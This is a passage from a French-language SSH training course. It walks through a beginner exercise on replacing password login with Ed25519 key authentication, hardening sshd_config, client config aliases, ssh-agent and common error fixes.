# [COURS] EXERCICES CORRIGÉS SSH - ULTRA DÉTAILLÉS

## [LIVRE] INTRODUCTION

Ce document contient **5 exercices pratiques corrigés** sur SSH (Secure Shell), allant du niveau débutant au niveau expert. Chaque exercice est conçu pour :

- **Renforcer** tes compétences en administration système
- **Consolider** les concepts de sécurité réseau
- **Simuler** des situations réelles en entreprise
- **Te préparer** à des certifications (LPIC, RHCE)

**Niveau de progression :**
- [VERT] Exercice 1 : Débutant
- [JAUNE] Exercice 2 : Intermédiaire
- [JAUNE] Exercice 3 : Intermédiaire
- [ROUGE] Exercice 4 : Avancé
- [ROUGE] Exercice 5 : Expert

**Chaque exercice contient :**
- [OK] Énoncé détaillé avec contexte professionnel
- [OK] Prérequis et objectifs pédagogiques
- [OK] Solution complète étape par étape
- [OK] Configuration commentée ligne par ligne
- [OK] Tests de validation
- [OK] Erreurs courantes et solutions
- [OK] Points clés à retenir
- [OK] Pour aller plus loin

**Conseils avant de commencer :**
1. Lis l'énoncé en entier avant de commencer
2. Essaie de résoudre par toi-même avant de regarder la solution
3. Tape chaque commande manuellement (pas de copier-coller aveugle)
4. Teste à chaque étape
5. Prends des notes sur ce que tu apprends

**Architecture de test recommandée :**
- 1 serveur SSH (Ubuntu 22.04 ou Debian 11)
- 1 poste client (ton ordinateur)
- Accès root ou sudo
- Connexion réseau fonctionnelle

**Bon courage ! [RAPIDE]**

---

---

# [VERT] EXERCICE 1 : CONNEXION SSH PAR CLÉ

## [LISTE] ÉNONCÉ

### Contexte professionnel

Tu viens d'être embauché comme administrateur système junior dans une PME. Ton manager te demande de sécuriser l'accès aux serveurs de production en remplaçant l'authentification par mot de passe par une authentification par clé SSH.

### Cahier des charges

Le responsable IT souhaite :
- **Désactiver** l'authentification par mot de passe
- **Configurer** l'authentification par clé SSH
- **Permettre** la connexion sans saisir de mot de passe à chaque fois
- **Documenter** la procédure pour les futurs administrateurs
- **Tester** la configuration sur un serveur de développement

### Contraintes techniques

- Serveur : Ubuntu 22.04 LTS
- Client : Linux, macOS ou Windows (WSL)
- OpenSSH 8.0+
- Temps estimé : 1-2 heures

---

## [OBJECTIF] OBJECTIFS PÉDAGOGIQUES

À la fin de cet exercice, tu sauras :

- [OK] Installer et configurer OpenSSH Server
- [OK] Générer une paire de clés SSH (publique/privée)
- [OK] Comprendre la cryptographie asymétrique
- [OK] Transférer une clé publique vers un serveur
- [OK] Configurer sshd_config pour la sécurité
- [OK] Se connecter sans mot de passe
- [OK] Gérer plusieurs clés SSH
- [OK] Résoudre les problèmes de permissions

---

## [DOCS] PRÉREQUIS

- Serveur Linux accessible (physique, VM ou VPS)
- Accès root ou sudo sur le serveur
- Connaissances de base du terminal Linux
- Connexion réseau entre client et serveur

---

## [OK] SOLUTION COMPLÈTE

### ÉTAPE 1 : Comprendre SSH et la cryptographie asymétrique

**Avant de commencer, comprenons les concepts.**

#### Qu'est-ce que SSH ?

**SSH** = **S**ecure **SH**ell

**Rôle :** Protocole réseau crypté pour :
- Se connecter à distance à un serveur (terminal)
- Transférer des fichiers (SCP, SFTP)
- Créer des tunnels sécurisés
- Exécuter des commandes à distance

**Remplace :** Telnet, rlogin, FTP (non sécurisés)

**Port par défaut :** 22 (TCP)

---

#### Cryptographie asymétrique (clés publique/privée)

**Principe de base :**

Imagine une boîte aux lettres sécurisée :
- **Clé publique** = Fente de la boîte (tout le monde peut y déposer un message)
- **Clé privée** = Clé pour ouvrir la boîte (SEUL le propriétaire peut lire les messages)

**En SSH :**

```
┌─────────────────┐                    ┌─────────────────┐
│     CLIENT      │                    │     SERVEUR     │
│                 │                    │                 │
│  Clé Privée [CLE]  │                    │ Clé Publique [DEVERROUILLE] │
│  (secrète)      │                    │  (partagée)     │
└─────────────────┘                    └─────────────────┘
         │                                      │
         │  1. "Voici ma clé publique"          │
         │ ──────────────────────────────────> │
         │                                      │
         │  2. Le serveur chiffre un défi       │
         │    avec la clé publique              │
         │ <────────────────────────────────── │
         │                                      │
         │  3. Le client déchiffre avec         │
         │     sa clé privée et répond          │
         │ ──────────────────────────────────> │
         │                                      │
         │  4. "Authentifié [OK]"                  │
         │ <────────────────────────────────── │
```

**Avantages :**
- [OK] Pas besoin de transmettre le mot de passe sur le réseau
- [OK] La clé privée ne quitte JAMAIS ton ordinateur
- [OK] Même si quelqu'un intercepte les communications, il ne peut pas se connecter
- [OK] Une clé = accès à plusieurs serveurs (si clé publique déployée partout)

---

#### Types d'algorithmes SSH

| Algorithme | Taille clé | Sécurité | Performance | Recommandation |
|------------|------------|----------|-------------|----------------|
| **RSA** | 2048-4096 bits | Bonne | Moyenne | [OK] Standard |
| **Ed25519** | 256 bits | * Excellente | * Très rapide | *** Meilleur choix |
| **ECDSA** | 256-521 bits | Très bonne | Rapide | [OK] Bon aussi |
| **DSA** | 1024 bits | [ATTENTION] Faible | Rapide | [X] Déprécié |

**En 2024, utilise Ed25519 (le plus moderne et sécurisé) !**

---

### ÉTAPE 2 : Installer OpenSSH Server (sur le serveur)

**Connexion au serveur (pour l'instant avec mot de passe) :**

```bash
# Depuis ton poste client
ssh username@192.168.1.100
```

**Remplace :**
- `username` = ton nom d'utilisateur sur le serveur
- `192.168.1.100` = adresse IP du serveur

**Entre ton mot de passe.**

---

**Vérifier si OpenSSH Server est installé :**

```bash
dpkg -l | grep openssh-server
```

**Si rien ne s'affiche, installer :**

```bash
sudo apt update
sudo apt install openssh-server -y
```

**Explication :**
- `openssh-server` = Serveur SSH (accepte les connexions)
- `openssh-client` = Client SSH (se connecte aux serveurs, déjà installé par défaut)

---

**Vérifier que le service SSH tourne :**

```bash
sudo systemctl status ssh
```

**Résultat attendu :**

```
[BLACK_CIRCLE] ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled)
     Active: active (running) since Mon 2024-12-30 10:00:00 UTC; 5min ago
   Main PID: 1234 (sshd)
      Tasks: 1 (limit: 4915)
     Memory: 2.1M
        CPU: 50ms
```

**[OK] Si "active (running)", c'est bon !**

---

**Si le service n'est pas actif, le démarrer :**

```bash
sudo systemctl start ssh
sudo systemctl enable ssh  # Démarrage automatique au boot
```

---

**Vérifier que SSH écoute sur le port 22 :**

```bash
sudo ss -tulpn | grep :22
```

**Résultat attendu :**

```
tcp   LISTEN 0   128   0.0.0.0:22   0.0.0.0:*   users:(("sshd",pid=1234,fd=3))
tcp   LISTEN 0   128      [::]:22      [::]:*   users:(("sshd",pid=1234,fd=4))
```

**Explication :**
- `0.0.0.0:22` = Écoute sur toutes les interfaces IPv4
- `[::]:22` = Écoute sur toutes les interfaces IPv6
- `LISTEN` = En attente de connexions

**[OK] SSH est prêt à accepter des connexions !**

---

### ÉTAPE 3 : Générer une paire de clés SSH (sur le client)

**Retour sur TON ordinateur (client).**

**Vérifier si tu as déjà des clés SSH :**

```bash
ls -la ~/.ssh
```

**Si le dossier existe et contient :**
- `id_rsa` / `id_rsa.pub` (clés RSA)
- `id_ed25519` / `id_ed25519.pub` (clés Ed25519)
- `id_ecdsa` / `id_ecdsa.pub` (clés ECDSA)

**-> Tu as déjà une paire de clés ! Tu peux soit :**
- La réutiliser (passer à l'étape 4)
- En générer une nouvelle (ci-dessous)

---

**Générer une nouvelle paire de clés Ed25519 :**

```bash
ssh-keygen -t ed25519 -C "votre.email@example.com"
```

**Décortiquons la commande :**

**`ssh-keygen`**
- Outil de génération de clés SSH

**`-t ed25519`**
- `-t` = Type d'algorithme
- `ed25519` = Algorithme Ed25519 (le plus moderne)

**Alternatives :**
```bash
# RSA 4096 bits (si Ed25519 pas supporté)
ssh-keygen -t rsa -b 4096 -C "votre.email@example.com"

# ECDSA 256 bits
ssh-keygen -t ecdsa -b 256 -C "votre.email@example.com"
```

**`-C "votre.email@example.com"`**
- `-C` = Commentaire
- Permet d'identifier la clé
- Généralement, on met son email

---

**Processus interactif :**

```
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/username/.ssh/id_ed25519):
```

**Appuie sur Entrée** (accepte l'emplacement par défaut)

**Ou spécifie un nom personnalisé :**
```
/home/username/.ssh/id_ed25519_production
```

**Utile si tu as plusieurs clés pour différents serveurs.**

---

```
Enter passphrase (empty for no passphrase):
```

**Option 1 : Passphrase vide (appuie sur Entrée)**
- [OK] Connexion ultra-rapide (aucune saisie)
- [X] Si quelqu'un vole ta clé privée, accès total
- **Usage :** Scripts automatisés, serveurs de confiance

**Option 2 : Passphrase forte**
- [OK] Sécurité maximale (même si clé volée, inutilisable sans passphrase)
- [X] Faut taper la passphrase à chaque connexion (ou utiliser ssh-agent)
- **Usage :** Serveurs de production, données sensibles

**Recommandation :**
- **Production / données sensibles** -> Passphrase forte
- **Dev / serveurs locaux** -> Passphrase vide acceptable

**Si tu choisis une passphrase, entre un mot de passe fort :**
```
SecurePassphrase2024!
```

---

```
Enter same passphrase again:
```

**Confirme la passphrase (ou Entrée si vide).**

---

**Résultat :**

```
Your identification has been saved in /home/username/.ssh/id_ed25519
Your public key has been saved in /home/username/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:AbCdEfGhIjKlMnOpQrStUvWxYz0123456789ABCDEF votre.email@example.com
The key's randomart image is:
+--[ED25519 256]--+
|   .o+o.         |
|  . =+o          |
| . + =.o         |
|  + = =.o        |
| . = B oS.       |
|  . B B +        |
|   + = * .       |
|    o + +        |
|     . E .       |
+----[SHA256]-----+
```

**Explication :**

**`/home/username/.ssh/id_ed25519`** = Clé PRIVÉE ([CLE] SECRÈTE)
- [ATTENTION] **NE JAMAIS PARTAGER !**
- Reste sur TON ordinateur UNIQUEMENT

**`/home/username/.ssh/id_ed25519.pub`** = Clé PUBLIQUE ([DEVERROUILLE] partageable)
- Peut être copiée sur les serveurs
- Peut être partagée sans risque

**`SHA256:AbCd...`** = Empreinte de la clé (fingerprint)
- Identifiant unique de la clé
- Utile pour vérifier l'authenticité

**`randomart image`** = Représentation visuelle de l'empreinte
- Permet de repérer visuellement une clé connue
- Pratique pour détecter du man-in-the-middle

---

**Vérifier que les clés ont été créées :**

```bash
ls -l ~/.ssh/
```

**Résultat :**

```
-rw-------  1 username username  411 Dec 30 10:00 id_ed25519
-rw-r--r--  1 username username   99 Dec 30 10:00 id_ed25519.pub
```

**[ATTENTION] Permissions critiques :**

**Clé privée (`id_ed25519`) : `-rw-------` (600)**
- Lecture/écriture UNIQUEMENT pour le propriétaire
- [X] Si permissions incorrectes (ex: 644), SSH refusera de l'utiliser

**Clé publique (`id_ed25519.pub`) : `-rw-r--r--` (644)**
- Lecture pour tout le monde OK

---

**Afficher la clé publique :**

```bash
cat ~/.ssh/id_ed25519.pub
```

**Résultat :**

```
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAbCdEfGhIjKlMnOpQrStUvWxYz0123456789ABCDEFGH votre.email@example.com
```

**Structure :**
- `ssh-ed25519` = Type d'algorithme
- `AAAAC3Nz...` = Clé publique encodée en base64
- `votre.email@example.com` = Commentaire

**C'est cette ligne qu'on va copier sur le serveur.**

---

### ÉTAPE 4 : Copier la clé publique sur le serveur

**Méthode 1 : ssh-copy-id (recommandée)**

**Depuis ton poste client :**

```bash
ssh-copy-id -i ~/.ssh/id_ed25519.pub username@192.168.1.100
```

**Explication :**

**`ssh-copy-id`**
- Utilitaire qui copie automatiquement ta clé publique sur le serveur
- Crée le dossier `.ssh` et le fichier `authorized_keys` si nécessaire
- Configure les bonnes permissions

**`-i ~/.ssh/id_ed25519.pub`**
- `-i` = Identity file (fichier d'identité)
- Spécifie quelle clé publique copier

**`username@192.168.1.100`**
- Utilisateur et adresse du serveur

---

**Processus :**

```
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/username/.ssh/id_ed25519.pub"
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
username@192.168.1.100's password:
```

**Entre le mot de passe de ton compte sur le serveur.**

---

**Résultat :**

```
Number of key(s) added: 1

Now try logging into the machine, with:   "ssh 'username@192.168.1.100'"
and check to make sure that only the key(s) you wanted were added.
```

**[OK] Clé publique copiée avec succès !**

---

**Vérifier sur le serveur :**

```bash
# Se connecter au serveur (encore avec mot de passe pour cette fois)
ssh username@192.168.1.100

# Vérifier le fichier authorized_keys
cat ~/.ssh/authorized_keys
```

**Résultat :**

```
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAbCdEfGhIjKlMnOpQrStUvWxYz0123456789ABCDEFGH votre.email@example.com
```

**[OK] Ta clé publique est bien présente !**

---

**Vérifier les permissions :**

```bash
ls -la ~/.ssh/
```

**Résultat attendu :**

```
drwx------  2 username username 4096 Dec 30 10:30 .
drwxr-xr-x 15 username username 4096 Dec 30 10:00 ..
-rw-------  1 username username   99 Dec 30 10:30 authorized_keys
```

**Permissions critiques :**

| Fichier/Dossier | Permissions | Explication |
|-----------------|-------------|-------------|
| `~/.ssh/` | `700` (drwx------) | Dossier accessible uniquement par le propriétaire |
| `~/.ssh/authorized_keys` | `600` (-rw-------) | Fichier lisible/modifiable uniquement par le propriétaire |

**[ATTENTION] Si les permissions sont incorrectes, SSH refusera la connexion par clé !**

---

**Corriger les permissions si nécessaire :**

```bash
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
```

---

**Méthode 2 : Copie manuelle (si ssh-copy-id indisponible)**

**Sur TON ordinateur (client), afficher la clé publique :**

```bash
cat ~/.ssh/id_ed25519.pub
```

**Copie le résultat (Ctrl+C).**

---

**Sur le SERVEUR :**

```bash
# Se connecter au serveur (avec mot de passe)
ssh username@192.168.1.100

# Créer le dossier .ssh s'il n'existe pas
mkdir -p ~/.ssh

# Définir les bonnes permissions
chmod 700 ~/.ssh

# Ajouter la clé publique dans authorized_keys
nano ~/.ssh/authorized_keys
```

**Colle (Ctrl+Shift+V) la clé publique copiée.**

**Sauvegarde : `Ctrl+O`, `Entrée`, `Ctrl+X`**

---

**Définir les bonnes permissions :**

```bash
chmod 600 ~/.ssh/authorized_keys
```

---

### ÉTAPE 5 : Tester la connexion SSH par clé

**Depuis TON ordinateur (client), déconnecte-toi du serveur :**

```bash
exit
```

---

**Tenter une nouvelle connexion :**

```bash
ssh username@192.168.1.100
```

**[BRAVO] Tu devrais être connecté SANS saisir de mot de passe ! [BRAVO]**

**Si tu as défini une passphrase sur ta clé, elle te sera demandée :**

```
Enter passphrase for key '/home/username/.ssh/id_ed25519':
```

**Entre la passphrase de ta clé privée (pas le mot de passe du serveur).**

---

**Vérifier que l'authentification par clé a fonctionné :**

```bash
# Sur le serveur, consulter les logs d'authentification
sudo tail -20 /var/log/auth.log | grep sshd
```

**Rechercher une ligne comme :**

```
Dec 30 10:35:00 server sshd[5678]: Accepted publickey for username from 192.168.1.50 port 54321 ssh2: ED25519 SHA256:AbCdEfGh...
```

**`Accepted publickey`** = Authentification par clé réussie ! [OK]

---

### ÉTAPE 6 : Configurer SSH pour plus de sécurité

**Maintenant que l'authentification par clé fonctionne, sécurisons le serveur.**

**Sur le SERVEUR, éditer la configuration SSH :**

```bash
sudo nano /etc/ssh/sshd_config
```

---

**Modifications recommandées :**

```bash
# ═══════════════════════════════════════════════════════════════
# CONFIGURATION SSHD SÉCURISÉE
# ═══════════════════════════════════════════════════════════════

# ───────────────────────────────────────────────────────────────
# PORT ET PROTOCOLE
# ───────────────────────────────────────────────────────────────

# Port SSH (22 par défaut, peut être changé pour réduire les scans)
Port 22

# Protocole SSH version 2 UNIQUEMENT (v1 est obsolète et vulnérable)
Protocol 2

# Écouter sur toutes les interfaces
# Pour restreindre à une IP spécifique :
# ListenAddress 192.168.1.100
ListenAddress 0.0.0.0

# ───────────────────────────────────────────────────────────────
# AUTHENTIFICATION
# ───────────────────────────────────────────────────────────────

# Désactiver l'authentification par mot de passe
# [ATTENTION] ATTENTION : Fais ça SEULEMENT après avoir testé la connexion par clé !
PasswordAuthentication no

# Explication :
# Avec "no", seules les clés SSH sont acceptées
# Protège contre les attaques par force brute
# Si tu te bloques, connecte-toi en console physique ou VNC pour corriger

# Désactiver l'authentification vide (sans mot de passe)
PermitEmptyPasswords no

# Désactiver le login root direct
# Forcer l'utilisation d'un compte utilisateur puis sudo
PermitRootLogin no

# Explication :
# Même avec une clé SSH, root ne peut pas se connecter directement
# Meilleure pratique : se connecter en tant qu'utilisateur normal
# puis "sudo su -" si besoin de devenir root
#
# Autres valeurs possibles :
# yes = root peut se connecter (par mot de passe et clé)
# prohibit-password = root peut se connecter UNIQUEMENT par clé
# forced-commands-only = root peut exécuter des commandes prédéfinies
# no = root ne peut PAS se connecter du tout (recommandé)

# Authentification par clé publique activée
PubkeyAuthentication yes

# Emplacement des clés publiques autorisées
AuthorizedKeysFile .ssh/authorized_keys

# Explication :
# %h = Home directory de l'utilisateur
# Par défaut : /home/username/.ssh/authorized_keys
# Peut pointer vers un fichier centralisé :
# AuthorizedKeysFile /etc/ssh/authorized_keys/%u

# ───────────────────────────────────────────────────────────────
# RESTRICTIONS D'ACCÈS
# ───────────────────────────────────────────────────────────────

# Limiter les utilisateurs autorisés à se connecter en SSH
# AllowUsers username admin
# AllowUsers *@192.168.1.* (tous les users depuis ce réseau)

# Explication :
# Sans directive AllowUsers/DenyUsers, TOUS les utilisateurs peuvent se connecter
# AllowUsers = Whitelist (seulement ces users)
# DenyUsers = Blacklist (tous sauf ces users)
# AllowGroups / DenyGroups = Idem mais par groupes

# Exemple : Autoriser seulement "admin" et "deploy"
AllowUsers admin deploy

# ───────────────────────────────────────────────────────────────
# TIMEOUTS ET LIMITES
# ───────────────────────────────────────────────────────────────

# Timeout si pas d'authentification dans ce délai
LoginGraceTime 60

# Explication :
# Délai en secondes pour s'authentifier après connexion
# 60s = 1 minute
# Protège contre les attaques DoS (connexions ouvertes sans auth)

# Nombre maximum de sessions SSH par connexion
MaxSessions 10

# Nombre maximum de tentatives d'authentification
MaxAuthTries 3

# Explication :
# Après 3 échecs, la connexion est fermée
# Protège contre les attaques par force brute
# Combine avec Fail2Ban pour un bannissement IP

# Connexions concurrentes maximum (non authentifiées)
MaxStartups 10:30:60

# Explication :
# Format : start:rate:full
# 10 = Accepte jusqu'à 10 connexions non auth
# 30 = Si >10, commence à refuser 30% des nouvelles
# 60 = Si >=60 connexions, refuse toutes les nouvelles

# ───────────────────────────────────────────────────────────────
# KEEP ALIVE ET SESSIONS
# ───────────────────────────────────────────────────────────────

# Envoyer des "keep alive" toutes les X secondes
ClientAliveInterval 300

# Explication :
# Envoie un paquet toutes les 300s (5 min) au client
# Évite que la session soit fermée par un firewall/NAT timeout
# Garde les connexions actives même si inactives

# Nombre de "keep alive" sans réponse avant de fermer
ClientAliveCountMax 2

# Explication :
# Si 2 keep alive sans réponse -> Fermeture de la session
# Timeout total = ClientAliveInterval × ClientAliveCountMax
# 300s × 2 = 600s = 10 minutes d'inactivité max

# ───────────────────────────────────────────────────────────────
# X11 FORWARDING ET AUTRES FONCTIONNALITÉS
# ───────────────────────────────────────────────────────────────

# Forwarding X11 (interface graphique à distance)
X11Forwarding no

# Explication :
# Permet d'afficher des applications graphiques du serveur sur le client
# Exemple : ssh -X user@server puis "firefox" -> Firefox s'affiche localement
# Désactiver si pas nécessaire (sécurité)

# Forwarding de l'agent SSH
AllowAgentForwarding yes

# Explication :
# Permet d'utiliser l'agent SSH local sur le serveur distant
# Utile pour sauter d'un serveur à l'autre avec la même clé
# [ATTENTION] Risque de sécurité si serveur compromis

# Forwarding TCP (tunnels SSH)
AllowTcpForwarding yes

# Explication :
# Permet de créer des tunnels SSH (port forwarding)
# Exemple : ssh -L 8080:localhost:80 user@server
# Accéder à un service sur le serveur via un tunnel local

# Utiliser le DNS pour vérifier les hostnames
UseDNS no

# Explication :
# Résolution DNS inverse pour logger le hostname du client
# Ralentit la connexion si DNS lent
# "no" = Plus rapide, mais logs contiennent seulement les IPs

# ───────────────────────────────────────────────────────────────
# LOGGING
# ───────────────────────────────────────────────────────────────

# Niveau de logs
LogLevel VERBOSE

# Explication :
# QUIET = Minimal
# FATAL = Erreurs fatales uniquement
# ERROR = Erreurs
# INFO = Informations générales
# VERBOSE = Détaillé (recommandé pour audit)
# DEBUG = Très détaillé (debug uniquement)
# DEBUG1/DEBUG2/DEBUG3 = Encore plus détaillé

# Facility syslog
SyslogFacility AUTH

# Explication :
# AUTH = Logs dans /var/log/auth.log (Debian/Ubuntu)
# AUTHPRIV = Logs dans /var/log/secure (RedHat/CentOS)

# ───────────────────────────────────────────────────────────────
# BANNIÈRE D'AVERTISSEMENT
# ───────────────────────────────────────────────────────────────

# Afficher un message avant l'authentification
# Banner /etc/ssh/banner.txt

# Explication :
# Fichier texte affiché avant le login
# Utile pour avertissements légaux
# Exemple :
# "ACCÈS RÉSERVÉ. Toute tentative d'accès non autorisée sera poursuivie."

# ───────────────────────────────────────────────────────────────
# SUBSYSTEMS
# ───────────────────────────────────────────────────────────────

# Activer SFTP (transfert de fichiers sécurisé)
Subsystem sftp /usr/lib/openssh/sftp-server

# Explication :
# SFTP = Secure File Transfer Protocol
# Remplace FTP (non sécurisé)
# Permet le transfert de fichiers via SSH

# ═══════════════════════════════════════════════════════════════
```

---

**[ATTENTION] AVANT de sauvegarder, vérifions la configuration :**

```bash
sudo sshd -t
```

**`-t` = Test mode (vérifie la syntaxe sans redémarrer)**

**Si erreur :**

```
/etc/ssh/sshd_config line 42: Bad configuration option: InvalidDirective
```

**Corrige la ligne indiquée.**

**Si OK :**

```
# Aucun message = Configuration valide [OK]
```

---

**Sauvegarder : `Ctrl+O`, `Entrée`, `Ctrl+X`**

---

**Redémarrer le service SSH :**

```bash
sudo systemctl restart ssh
```

---

**[ATTENTION] IMPORTANT : Garde une session SSH ouverte !**

**Avant de fermer toutes les sessions, teste dans une NOUVELLE fenêtre :**

```bash
ssh username@192.168.1.100
```

**Si ça fonctionne, tu peux fermer l'ancienne session.**

**Si ça ne fonctionne PAS, tu as encore l'ancienne session pour corriger !**

---

### ÉTAPE 7 : Simplifier les connexions avec le fichier config

**Sur TON ordinateur (client), créer/éditer `~/.ssh/config` :**

```bash
nano ~/.ssh/config
```

**Contenu :**

```bash
# ═══════════════════════════════════════════════════════════════
# CONFIGURATION CLIENT SSH
# ═══════════════════════════════════════════════════════════════

# ───────────────────────────────────────────────────────────────
# SERVEUR DE PRODUCTION
# ───────────────────────────────────────────────────────────────

Host prod
    # Nom court pour la connexion : ssh prod
    
    HostName 192.168.1.100
    # Adresse IP ou nom de domaine réel
    
    User admin
    # Nom d'utilisateur par défaut
    
    IdentityFile ~/.ssh/id_ed25519
    # Clé privée à utiliser
    
    Port 22
    # Port SSH (si différent de 22)
    
    ServerAliveInterval 60
    # Envoyer un keep-alive toutes les 60s
    
    ServerAliveCountMax 3
    # 3 échecs = déconnexion
    
    Compression yes
    # Activer la compression (utile sur connexions lentes)

# ───────────────────────────────────────────────────────────────
# SERVEUR DE DÉVELOPPEMENT
# ───────────────────────────────────────────────────────────────

Host dev
    HostName 192.168.1.101
    User developer
    IdentityFile ~/.ssh/id_ed25519
    Port 2222
    # Port SSH personnalisé

# ───────────────────────────────────────────────────────────────
# CONFIGURATION PAR DÉFAUT POUR TOUS LES SERVEURS
# ───────────────────────────────────────────────────────────────

Host *
    # * = S'applique à tous les hosts
    
    AddKeysToAgent yes
    # Ajouter automatiquement les clés à l'agent SSH
    
    UseKeychain yes
    # (macOS) Stocker la passphrase dans le trousseau
    
    ForwardAgent no
    # Ne pas forwarder l'agent par défaut (sécurité)
    
    HashKnownHosts yes
    # Hasher les entrées dans known_hosts (confidentialité)
    
    VisualHostKey yes
    # Afficher l'ASCII art de la clé (utile pour détecter MITM)
    
    StrictHostKeyChecking ask
    # ask = Demander confirmation pour nouvelles clés
    # yes = Refuser les nouvelles clés (très strict)
    # no = Accepter automatiquement (dangereux)
```

**Sauvegarde.**

---

**Définir les bonnes permissions :**

```bash
chmod 600 ~/.ssh/config
```

---

**Tester la connexion simplifiée :**

```bash
# Au lieu de :
# ssh admin@192.168.1.100

# Maintenant simplement :
ssh prod
```

**[BRAVO] Connexion en tapant juste `ssh prod` ! [BRAVO]**

---

### ÉTAPE 8 : Utiliser ssh-agent (éviter de taper la passphrase)

**Si tu as défini une passphrase sur ta clé, tu dois la taper à chaque connexion.**

**ssh-agent** permet de la taper UNE SEULE FOIS et de la garder en mémoire.

---

**Démarrer ssh-agent :**

```bash
eval "$(ssh-agent -s)"
```

**Résultat :**

```
Agent pid 12345
```

**ssh-agent tourne en arrière-plan.**

---

**Ajouter ta clé privée à l'agent :**

```bash
ssh-add ~/.ssh/id_ed25519
```

**Si tu as une passphrase, elle te sera demandée CETTE FOIS :**

```
Enter passphrase for /home/username/.ssh/id_ed25519:
```

**Entre la passphrase.**

---

**Résultat :**

```
Identity added: /home/username/.ssh/id_ed25519 (votre.email@example.com)
```

---

**Vérifier les clés chargées dans l'agent :**

```bash
ssh-add -l
```

**Résultat :**

```
256 SHA256:AbCdEfGhIjKlMnOpQrStUvWxYz0123456789ABCDEF votre.email@example.com (ED25519)
```

---

**Maintenant, connecte-toi au serveur :**

```bash
ssh prod
```

**[BRAVO] Aucune passphrase demandée ! [BRAVO]**

**L'agent fournit automatiquement la clé déverrouillée.**

---

**Pour supprimer toutes les clés de l'agent :**

```bash
ssh-add -D
```

---

**Pour ajouter automatiquement les clés au démarrage :**

**Linux :**

Ajouter dans `~/.bashrc` ou `~/.zshrc` :

```bash
# Démarrer ssh-agent automatiquement
if [ -z "$SSH_AUTH_SOCK" ]; then
   eval "$(ssh-agent -s)"
   ssh-add ~/.ssh/id_ed25519
fi
```

**macOS :**

Dans `~/.ssh/config`, ajouter :

```
Host *
    UseKeychain yes
    AddKeysToAgent yes
```

**Le trousseau macOS stocke la passphrase de manière sécurisée.**

---

### [OK] TESTS DE VALIDATION

**1. Connexion par clé fonctionne**

```bash
ssh username@192.168.1.100
```

- [ ] Connexion réussie SANS mot de passe
- [ ] Logs montrent "Accepted publickey"

---

**2. Authentification par mot de passe désactivée**

```bash
# Tenter de se connecter avec un utilisateur sans clé SSH
ssh autreuser@192.168.1.100
```

**Résultat attendu :**

```
autreuser@192.168.1.100: Permission denied (publickey).
```

**[OK] L'authentification par mot de passe est bien désactivée !**

---

**3. Root ne peut pas se connecter**

```bash
ssh root@192.168.1.100
```

**Résultat attendu :**

```
root@192.168.1.100: Permission denied (publickey).
```

**[OK] Le login root est bien désactivé !**

---

**4. Permissions correctes**

**Sur le SERVEUR :**

```bash
ls -ld ~/.ssh
ls -l ~/.ssh/authorized_keys
```

**Résultat attendu :**

```
drwx------ 2 username username 4096 Dec 30 10:30 /home/username/.ssh
-rw------- 1 username username   99 Dec 30 10:30 /home/username/.ssh/authorized_keys
```

**[OK] Permissions 700 et 600 !**

---

**5. Fichier config fonctionne**

```bash
ssh prod
```

- [ ] Connexion avec alias fonctionne
- [ ] Pas besoin de taper IP/user/port

---

### [ROUGE] ERREURS COURANTES ET SOLUTIONS

#### Erreur 1 : Permission denied (publickey)

**Symptôme :**

```
username@192.168.1.100: Permission denied (publickey).
```

**Causes possibles :**

**1. La clé publique n'est pas sur le serveur**

**Vérifier sur le serveur :**

```bash
cat ~/.ssh/authorized_keys
```

**Si vide ou absent, recopier la clé (voir ÉTAPE 4).**

---

**2. Permissions incorrectes**

**Sur le serveur :**

```bash
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
```

---

**3. Mauvaise clé privée utilisée**

**Spécifier explicitement la clé :**

```bash
ssh -i ~/.ssh/id_ed25519 username@192.168.1.100
```

---

**4. SELinux bloque (RedHat/CentOS)**

```bash
sudo restorecon -R -v ~/.ssh
```

---

#### Erreur 2 : Connection refused

**Symptôme :**

```
ssh: connect to host 192.168.1.100 port 22: Connection refused
```

**Causes :**

**1. SSH ne tourne pas sur le serveur**

```bash
sudo systemctl status ssh
sudo systemctl start ssh
```

---

**2. Mauvais port**

**Si le port a été changé (ex: 2222) :**

```bash
ssh -p 2222 username@192.168.1.100
```

---

**3. Pare-feu bloque**

```bash
sudo ufw allow 22/tcp
```

---

#### Erreur 3 : WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!

**Symptôme :**

```
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
```

**Cause :**

La clé de l'hôte du serveur a changé (réinstallation, changement de clé, ou... MITM).

**Solution si c'est légitime (ex: tu as réinstallé le serveur) :**

```bash
ssh-keygen -R 192.168.1.100
```

**Ou supprimer manuellement la ligne dans `~/.ssh/known_hosts`.**

---

#### Erreur 4 : Agent admitted failure to sign using the key

**Symptôme :**

```
Agent admitted failure to sign using the key.
```

**Cause : La clé n'est pas chargée dans ssh-agent**

**Solution :**

```bash
ssh-add ~/.ssh/id_ed25519
```

---

#### Erreur 5 : Too many authentication failures

**Symptôme :**

```
Received disconnect from 192.168.1.100: Too many authentication failures
```

**Cause : ssh-agent a trop de clés et essaie toutes avant la bonne**

**Solution :**

```bash
# Spécifier explicitement la clé
ssh -o IdentitiesOnly=yes -i ~/.ssh/id_ed25519 username@192.168.1.100

# Ou dans ~/.ssh/config :
Host prod
    IdentitiesOnly yes
    IdentityFile ~/.ssh/id_ed25519
```

---

### [IMPORTANT] POINTS CLÉS À RETENIR

**1. Cryptographie asymétrique**
- Clé privée (secrète, reste sur le client)
